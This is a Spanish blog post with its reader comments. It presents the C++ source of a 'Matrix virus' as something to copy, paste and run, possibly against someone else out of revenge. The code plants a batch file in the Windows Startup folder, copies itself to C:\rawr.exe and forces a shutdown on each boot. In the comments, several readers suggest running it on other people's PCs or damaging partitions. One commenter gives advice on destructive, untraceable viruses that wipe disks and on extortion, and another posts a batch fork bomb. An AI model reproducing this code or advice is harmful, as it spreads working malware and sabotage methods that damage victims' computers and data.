Pasos para hacer un virus en C++

El virus matrix, es un virus que se programa en C++, y que es potencialmente dañino para un computador con el sistema operativo windows – aunque desconozco que puede pasar en un Mac – …Aunque no le encuentro utilidad alguno -quizás para como una venganza – , lo encuentro tan curioso que no pocas veces he pensado en ejecutarlo.
Alojada en www.easy-images.com

Este programa al ser ejecutado dañara irreversiblemente el computador – eso me han dicho, yo todavía no lo ejecuto- , y es tan fácil de hacer como copiar el siguiente código en el programa de C++


// The Matrix Virus
// Created by W3irdo
// Hazuras.com

#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]=»C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat»;
ifstream input(inputFile);
if (!input)
{
{
ofstream fp(«C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat», ios::app);
fp << «@ECHO OFF \n»;
fp << «START C:\\rawr.exe \n»;
fp << «EXIT»;
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]=»C:\\rawr.exe»;
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp(«CLICK.bat», ios::app);
fp << «@ECHO OFF \n»;
fp << «COPY matrix.exe C:\\rawr.exe \n»;
fp << «START C:\\rawr.exe \n»;
fp << «EXIT»;
}
system(«START CLICK.bat»);
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system(«call shutdown.exe -S»);
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << «0%»;
cout << setw(4) << «P»;
cout << setw(4) << » «;
cout << setw(4) << «)»;
cout << setw(4) << «#»;
cout << setw(4) << «X»;
cout << setw(4) << «@»;
cout << setw(4) << «1&»;
cout << setw(4) << «*»;
cout << setw(4) << «||»;
cout << setw(4) << » \a»;
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}

Tan facil como copiar, pegar y ejecutar…

Para quienes quieran verlo funcionar, he aqui pequeño un video:

Fuente: dark-red-one-forum

40 Responses to Pasos para hacer un virus en C++

  1. Bueno, ejecutalo en el PC de otro y te echas unas risas 😉

  2. Kaaos dice:

    Cierto, Despues de todo quien sospecharia de mi XD

    Salu2 s3rg10p3l1gr0

  3. […] Ya son 3 las entregas de como hacer virus, una fue en c++, otra en el bloc de notas, y esta, se hará en DOS, así que casi parece que este blog fuera de […]

  4. Darkavenger dice:

    apesta el codigo, lo unico que ases es usar system y comandos del ms-dos, y pues hace lo mismo que cualquiera programando virus en bat, que eso apesta para mi.

  5. nettoxic dice:

    el codigo parece de un lammer

  6. gusbok dice:

    bueno, si tenemos desarrollos de virus mejores podemos compartirlos…

  7. camilo morocho dice:

    esta bueno pero suban unas lineas de programacion mas . osea de mas formas ok xfa
    respondadn a mi correo
    pero tambien necesito como arrglar de nuevo en cuanto este dañada mi pc ok saludos desde ecuador

  8. less dice:

    neeeeee putho0 ne cirve ia lo ice n mi pc y nomas nu paso na d na

  9. less dice:

    neeeee puth0o nu cirbe

  10. davis dice:

    hola me llamo davis, ejecute el virus en devc++ y me sale un error en el ultimo ciclo que dice «expected unquialified id-before «for» y otro «expected,destructor or type conversion before «<" token , eso no se ke es, por favor algien me puede ayudar????? gracias

  11. anydoom dice:

    Triste el codigo ese, no hace nada y es una pavada tras otra; no vale la pena ni leerlo.

  12. kevin dice:

    No Estaria mal Agregar otra linea para dañar la particion primaria asi si seria irreversible para Windows

  13. jajajajaj dice:

    emmm no se te ocurrio pensar que tu victima puede tener el S.O en otro disco distinto al c:???

  14. angelita dice:

    jejej esta bien esta broma …. jojojo me diverti con un amigo se descmpuso su ordenador jejejej….bien gracias por compartirlo……besos

    ¨(q tontos ni copiando pueden ejecutar esta broma,,,de verdad que dan pena)

  15. HackFed dice:

    q, dirian si mediante este blog, encontrara sus correos, y sus pc conectadas a la internet, y les hiciera cosas malas….. no les gustaría cierto!!!…
    ya q, incisten tanto en lo de hacer un virus… les dire como pueden llegar a ser buenos programadores…
    lo primero es empezar desde lo basico, hasta llegar a saber programar….TODO A SU TIEMPO…., despues que partieron desde el fondo de la informatica, lo que vale es la experiencia, y las tecnicas q, ustedes mismos desarollen para crear un virus digno de ser temido, y llamarse «hackers», despues lo dispersan en la red, cobran por sacarlo de la misma, y se dedican a eso!!!!!!…..(pagan bien… se los digo por experiencia)….. obiamente no les enseñare un codigo!!!!!…. ya que mis metodos son mios y me a costado desarrollarlos…..

  16. HackFed dice:

    oh hagan algo simple….. usen bath, ya q, la mayoria usa XP, y bath es facil de aprender….
    si quieren probarse que pueden dañar a una pc y causar estragos hagan esto:
    1º. El virus o lo que sea, deber ser rapido, pasar inadvertido o camuflado ( pasar gato por liebre como se dice!!!), dañino, autonomo, y borrar sus pisadas….

  17. HackFed dice:

    les escribo de apocos mensages por que si lo hiciera en uno, no lo leerian….
    2º. Siempre hagan un antidoto, es decir: un programa que haga lo contrario de lo que hace el virus, cosa de poder revertir el daño en caso que lo ejecuten en su PC…
    3º. busquen en google un compilador para bath y haci poder hacer algo ejecutable…
    4º. no se pierdan haciendo algo interminable, porque al fin y al cabo, la victima:
    – llamara a un tecnico para el arreglo
    – formateara la pc ella misma
    – usara el nod32 4 con su heuristica avansada
    – no se dara la molestia de apreciar su trabajo y darse cuenta que esta infectada…

  18. HackFed dice:

    simplemente hagan algo que dañe mucho, un daño que en pocas palabras haga que se pierda la info del disco duro…
    formateen el disco, usen metodos para que la victima no pueda respaldar sus documentos, o no tenga tiempo para ello, no se enreden demasiado, no se compliquen, y sobre todas las cosas, disperselo bien, demanera q, no sepan q, fueron ustedes…

  19. HackFed dice:

    porque al fin de todo, lo unico q, conseguiran es q, la victima pierda tiempo, algunos datos, pase un mal rato, gaste dinero en tecnicos, y en el mejor de los casos…..
    alguien pagara por sus cabezas, como lo hace microsoft, realsando q, pueden cobrarle a la victima por reparar los daños q, ustedes mismos le hicieron… eso si q, ella no se entere q, fueron ustedes…..
    ojala se diviertan con lo q, hagan, y cuidado, por q, en el peor de los casos EXISTE LA CARCEL, y no les gustaria ir a parar aí…..
    saludossssss……xd!!!!

    • Jorge Luis dice:

      Hola loco, sabes, me agrado la forma en la que enseñas lo que tu sabes. Me lleno de nostalgia. Oy que dices si me enseñas a programar como tu??
      Yo sigo Informatica pero la verdad es que hasta ahorita no comprendo bien como programar, mejor dicho casi NADA! y me siento mal.. Porque la plena es que si me gustaria aprender mucho loco. piensalo ok… tuiry_1111@hotmail.com
      cuidate

    • TNY dice:

      Hey que onda…
      oye disculpa tengo conocimientos en programación
      en C y Muy poco sobre Java
      entiendo la lógica y todo
      solo ke no se como aplicarla en dado caso para crear un virus…
      me interesara
      y me gustaria saber como aplicarlos
      y volverlo agresivos o utilizar lo que se llama FuERZA BRUTA…
      mi mail tny_alan@hotmail.com
      espero tu ayuda

  20. rc,cimasII22094 dice:

    ps a la carcel sololos ineptows van a la carcel

    de eso se trata joderal otro sin ke sede cuenta

    con esaspalabras solo asustas a los novatos

    a la ves te vuelves uno de ellos …..hackfeed. olo ke sea bye

  21. gustavo_ccs dice:

    De verdad que me dan mucha pena ustedes, primero ese código es muy, mmm como decirlo, estúpido!! si bien es cierto que hace su cometido, pero no sucederá en todos los pc.

    Segundo Dios no digan que son Hacker si aún no entiende que es ser un Hacker!! quieren conocer uno¿? lean la biografía de Richard Stallman, y vean todo lo que ha aportado al mundo de la computación.

  22. mykohuoft dice:

    pues que mas neno al pen.. que insulto c ni save que es jajaja ya cono ceran a un verdadero hacker yo le explicare que es unop y le dare la vienvenida al mundo de la programacion en c

  23. Avelino110 dice:

    lO ABREVIARE

    @echo off
    :start
    start
    goto start
    exit

    lo guardas en erchivo*.bat

  24. estoymuyloco.exe dice:

    la mayoria de los que han firmado en esta pagina no saben ni lo ke hace el programa simplemente leyendolo, que penoso,ademas como se suele decir MUCHO RUIDO Y POCAS NUECES porque este «virus» en lugar de pasar desapercivido y putear la pc se dedica a llamar la atencion sin hacer nada «valioso»

  25. estoymuyloco.exe dice:

    se me olvidaba que coño tiene esto que ver con matrix?

  26. Daniel dice:

    Mejor pónganse a estudiar un libro de C y C++ y estudien sobre sistemas operativos chavos. Así no van a llegar a ningún lado. Ese código es más inofensivo que una ratita mojada. De verdad, si quieren llegar a ser «hackers» o «crackers» o de menos unos programadores de cuarta, aprendan a usar su sistema operativo (que seguro usan Winows) y vean como funciona. Cómprense un libro de C y hagan programas simples y matemáticos. Como dijo alguien, empiezen de 0. Pero dejen de creer que alguien les hará el trabajo o les enseñará como hacerlo. Programar un virus es algo que sólo programadores avanzados pueden hacer.

  27. asahel dice:

    si es verdad

  28. hack_OSAY_ dice:

    hola a todos!!!!! he estado biendo tods los comentarios que han escritos….en verdad si es muy estupido…
    porque para ahcer un virus se nesecita mucho ingenio…
    HACKFED. tiene rezon en todo.porq nunca vas encontrar como hacer un virus realmente.

  29. Hola, bueno en mi opinion el cogido me parece el de un lammer y es algo relevante espero que puedan poner algo un poco mas llamativo ya que el final de la aplicacion, tiene un final muy parecido al de un bat.

  30. erofex dice:

    eso virus esta mal echo cuando compilo en c, me marca 102 errores, y 3 warnings

  31. Alf dice:

    cual es la inversa del hacker?

  32. Neeko dice:

    Mira eso no es un virus , eso solo ejecuta desde la consola MS-DOS algo si quieres un virus de verdad tendras que ser mas creativo y saber programar mira yo tengo un team unete Creators Of The Evil – Email – hacker83.demonen@hotmail.com aqui aprenderas a programar virus y todo

  33. Metronomo...T_x dice:

    oneub oremirp euq adan is neneit sal asallaga arap recah nu suriv omoc ete se rop euq nebed rebas ol ocisab on?

  34. Metronomo...T_x dice:

    entonces no se dejen llevar por los demas y concentrense en mejorar si es que quieren llegar a ser verdaderos hackers…¡¡¡

  35. enock 666 dice:

    hola amigos saludos a todos he leido los comentarios estan pues …
    decirles que si la mayoria tiene razon se empieza dessde el principio yo estoy empezando y vaya que me siento biem al saber que dentro de poco con ganas llegare a ser quien quiero en la vida
    ademas que no todo en la vida es crear virus .
    se pueden hacer aportes importantes al mundo de la informatica.yo preferiria crear programas utiles , que crear cosas que dañen chao
    mucho gusto
    suerte a todos
    att: ENOCK666

Replica a HackFed Cancelar la respuesta